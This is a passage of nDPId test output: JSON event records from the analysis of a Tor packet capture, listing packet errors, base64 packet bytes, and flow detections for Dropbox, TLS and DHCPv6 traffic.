00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1954,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822153962104,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1955,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822156212208} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1955,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822153962104,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1956,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822158212282} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1956,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822153962104,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1957,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822160212204} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1957,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822153962104,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1958,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822162212265} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1958,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822153962104,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1959,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822164212767} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1959,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822153962104,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1960,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822166212188} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1960,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822153962104,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1961,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822168212323} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1961,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822153962104,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1975,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822170212297} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1975,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822170108954,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1986,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822172212681} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":1986,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822172115762,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2022,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822174212393} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2022,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822174148808,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2042,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822176212178} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2042,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822175546895,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2058,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822178212214} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2058,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822178103272,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2061,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822180212131} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2061,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822179522476,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2066,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822182212191} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2066,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822180832942,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2068,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822184212229} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2068,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822184001176,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2069,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822186212454} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2069,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822184001176,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2070,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822188212408} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2070,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822184001176,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 00907{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":2071,"source":"tor.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"finished","flow_src_packets_processed":7,"flow_dst_packets_processed":0,"flow_first_seen":1383821673254958,"flow_src_last_pkt_time":1383822184001176,"flow_dst_last_pkt_time":1383821673254958,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":144,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":144,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1008,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383822184001176,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Dropbox","proto_id":"121","encrypted":0,"breed":"Acceptable","category_id":13,"category":"Cloud"}} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2071,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822190212084} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2071,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822184001176,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 00754{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2072,"source":"tor.pcap","alias":"nDPId-test","flow_id":10,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1383822190886155,"flow_src_last_pkt_time":1383822190886155,"flow_dst_last_pkt_time":1383822190886155,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383822190886155,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"62.210.137.230","src_port":51185,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00523{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2072,"source":"tor.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_src_last_pkt_time":1383822190886155,"flow_dst_last_pkt_time":1383822190886155,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1383822190886155,"pkt":"UlQA2EYhUlQAWul3CABFAAA0COtAAIAGZnzAqAH8PtKJ5sfxAbspsDzeAAAAAIACIACTeAAAAgQFtAEDAwgBAQQC"} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2073,"source":"tor.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":2,"flow_src_last_pkt_time":1383822190886155,"flow_dst_last_pkt_time":1383822190950538,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1383822190950538,"pkt":"UlQAWul3UlQA2EYhCABFAAA0AABAADEGvmc+0onmwKgB\/AG7x\/Gvhi1nKbA834ASOQidcgAAAgQFtAEBBAIBAwMH"} 00515{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2074,"source":"tor.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":3,"flow_src_last_pkt_time":1383822190951036,"flow_dst_last_pkt_time":1383822190950538,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"thread_ts_usec":1383822190951036,"pkt":"UlQA2EYhUlQAWul3CABFAAAoCOxAAIAGZofAqAH8PtKJ5sfxAbspsDzfr4YtaFAQAQAWTQAAAAAAAAAA"} 01151{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2075,"source":"tor.pcap","alias":"nDPId-test","flow_id":10,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1383822190886155,"flow_src_last_pkt_time":1383822190951387,"flow_dst_last_pkt_time":1383822190950538,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":218,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":218,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383822190951387,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"62.210.137.230","src_port":51185,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}}},"confidence": {"6":"DPI"},"proto":"TLS","proto_id":"91","encrypted":1,"breed":"Safe","category_id":5,"category":"Web","hostname":"www.6gyip7tqim7sieb.com","tls": {"version":"TLSv1","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}}} 01357{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":2077,"source":"tor.pcap","alias":"nDPId-test","flow_id":10,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":3,"flow_first_seen":1383822190886155,"flow_src_last_pkt_time":1383822190951387,"flow_dst_last_pkt_time":1383822191037108,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":218,"flow_dst_max_l4_payload_len":740,"flow_src_tot_l4_payload_len":218,"flow_dst_tot_l4_payload_len":740,"midstream":0,"thread_ts_usec":1383822191037108,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"62.210.137.230","src_port":51185,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}}},"confidence": {"6":"DPI"},"proto":"TLS","proto_id":"91","encrypted":1,"breed":"Safe","category_id":5,"category":"Web","hostname":"www.6gyip7tqim7sieb.com","tls": {"version":"TLSv1","ja3":"581a3c7f54555512b8cd16e87dfe165b","ja3s":"184d532a16876b78846ae6a03f654890","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA","issuerDN":"CN=www.a3uycdf3rn5md.com","subjectDN":"CN=www.l7xvysfnvkb.net","fingerprint":"EE:86:E7:21:36:93:23:30:DB:A0:09:48:55:16:CB:A8:E9:DA:01:D0"}}} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2097,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822192212065} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2097,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822192034234,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2107,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822194212377} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2107,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822193390912,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2136,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822196212154} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2136,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822196160773,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2193,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822198212107} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2193,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822198129287,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2231,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822200212110} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2231,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822200128752,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2318,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822202212073} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2318,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822202193926,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2421,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822204212100} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2421,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822204195472,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2544,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822206212118} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2544,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822206019124,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2564,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822208213723} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2564,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822207793746,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2577,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822210212300} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2577,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822209488833,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2632,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822212212113} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2632,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822212140120,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2687,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822214212221} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2687,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822214082852,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2719,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822216212093} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2719,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822216211251,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 00761{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2745,"source":"tor.pcap","alias":"nDPId-test","flow_id":11,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1383822217531372,"flow_src_last_pkt_time":1383822217531372,"flow_dst_last_pkt_time":1383822217531372,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":89,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":89,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":89,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383822217531372,"l3_proto":"ip6","src_ip":"fe80::c583:1972:5728:7323","dst_ip":"ff02::1:2","src_port":546,"dst_port":547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00642{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2745,"source":"tor.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_src_last_pkt_time":1383822217531372,"flow_dst_last_pkt_time":1383822217531372,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":151,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":151,"pkt_l4_len":97,"thread_ts_usec":1383822217531372,"pkt":"MzMAAQACUlQAWul3ht1gAAAAAGERAf6AAAAAAAAAxYMZclcocyP\/AgAAAAAAAAAAAAAAAQACAiICIwBhDIMBZjPcAAgAAgAAAAEADgABAAEXdNYHUlQAoBS4AAMADA5SVAAAAAAAAAAAAAAnAAsACUVuZGlhbi1QQwAQAA4AAAE3AAhNU0ZUIDUuMAAGAAgAGAAXABEAJw=="} 00870{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":2745,"source":"tor.pcap","alias":"nDPId-test","flow_id":11,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1383822217531372,"flow_src_last_pkt_time":1383822217531372,"flow_dst_last_pkt_time":1383822217531372,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":89,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":89,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":89,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383822217531372,"l3_proto":"ip6","src_ip":"fe80::c583:1972:5728:7323","dst_ip":"ff02::1:2","src_port":546,"dst_port":547,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DHCPV6","proto_id":"103","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00183{"error_event_id":5,"error_event_name":"Unknown packet 